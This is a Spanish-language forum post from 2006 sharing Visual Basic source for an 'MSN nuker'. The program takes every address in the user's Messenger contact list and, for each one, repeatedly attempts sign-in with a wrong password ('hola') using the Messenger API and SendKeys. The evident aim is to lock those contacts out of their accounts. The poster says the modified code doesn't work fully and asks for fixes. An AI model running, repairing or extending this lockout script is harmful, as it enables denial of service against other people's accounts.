|
Mostrar Mensajes
|
Páginas: 1 2 3 [4] 5 6 7
|
38
|
Programación / Programación Visual Basic / Re: NUKER MSN
|
en: 18 Marzo 2006, 21:08 pm
|
Holas
Sorry por tomar tu code sin autorizacion pero me picaron ganas de hacerle unas modificaciones...
En vez de un contacto porke no tenemos una lista! Pero mi problema es k no esta funcinoando bien del todo
les pongo el code: Lo unico agregado es el listbox ----------------------------------------------------------------------- Dim ti As Integer Dim i As Integer
Public WithEvents MSN As MessengerAPI.Messenger Public WithEvents MsgrUIA As MessengerAPI.Messenger Private Sub Command1_Click() ti = 0 Dim password As String Dim usuario As String password = "hola" For i = 0 To List1.ListCount - 1 usuario = List1.List(i) MSN.Signin 0, usuario, password Timer1.Enabled = True For t1 = 0 To 20 SendKeys "{tab}" SendKeys "{tab}" SendKeys "{tab}" SendKeys "{tab}" SendKeys "{tab}" SendKeys "{tab}" SendKeys usuario SendKeys "{tab}" SendKeys password SendKeys "{enter}" Next t1
Next i End Sub
Private Sub Form_Load() Set MSN = New MessengerAPI.MessengerNative Set MsgrUIA = New MessengerAPI.Messenger Dim user As IMessengerContact 'Declaramos la variable user como contacto del mssenger
For Each user In MsgrUIA.MyContacts 'Por cada usuario en la lista de contactos si esta conectado en linea, ausente, no disponible, etcetera. agrega cada direccion de correo a la list1 'If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then List1.AddItem user.SigninName 'tb podriamos hacer esto con el nick colocando user.friendlyname 'End If Next Timer1.Enabled = False End Sub
Private Sub Timer1_Timer() ti = ti + 1 If ti >= 20 Then Timer1.Enabled = False Else Dim password As String Dim usuario As String
password = "hola" usuario = List1.List(i) SendKeys "{tab}" SendKeys "{tab}" SendKeys "{tab}" SendKeys "{tab}" SendKeys "{tab}" SendKeys "{tab}" SendKeys usuario SendKeys "{tab}" SendKeys password SendKeys "{enter}" End If End Sub ----------------------------------------------------------------------- espero su ayuda saludos..
|
|
|
|
|
|
|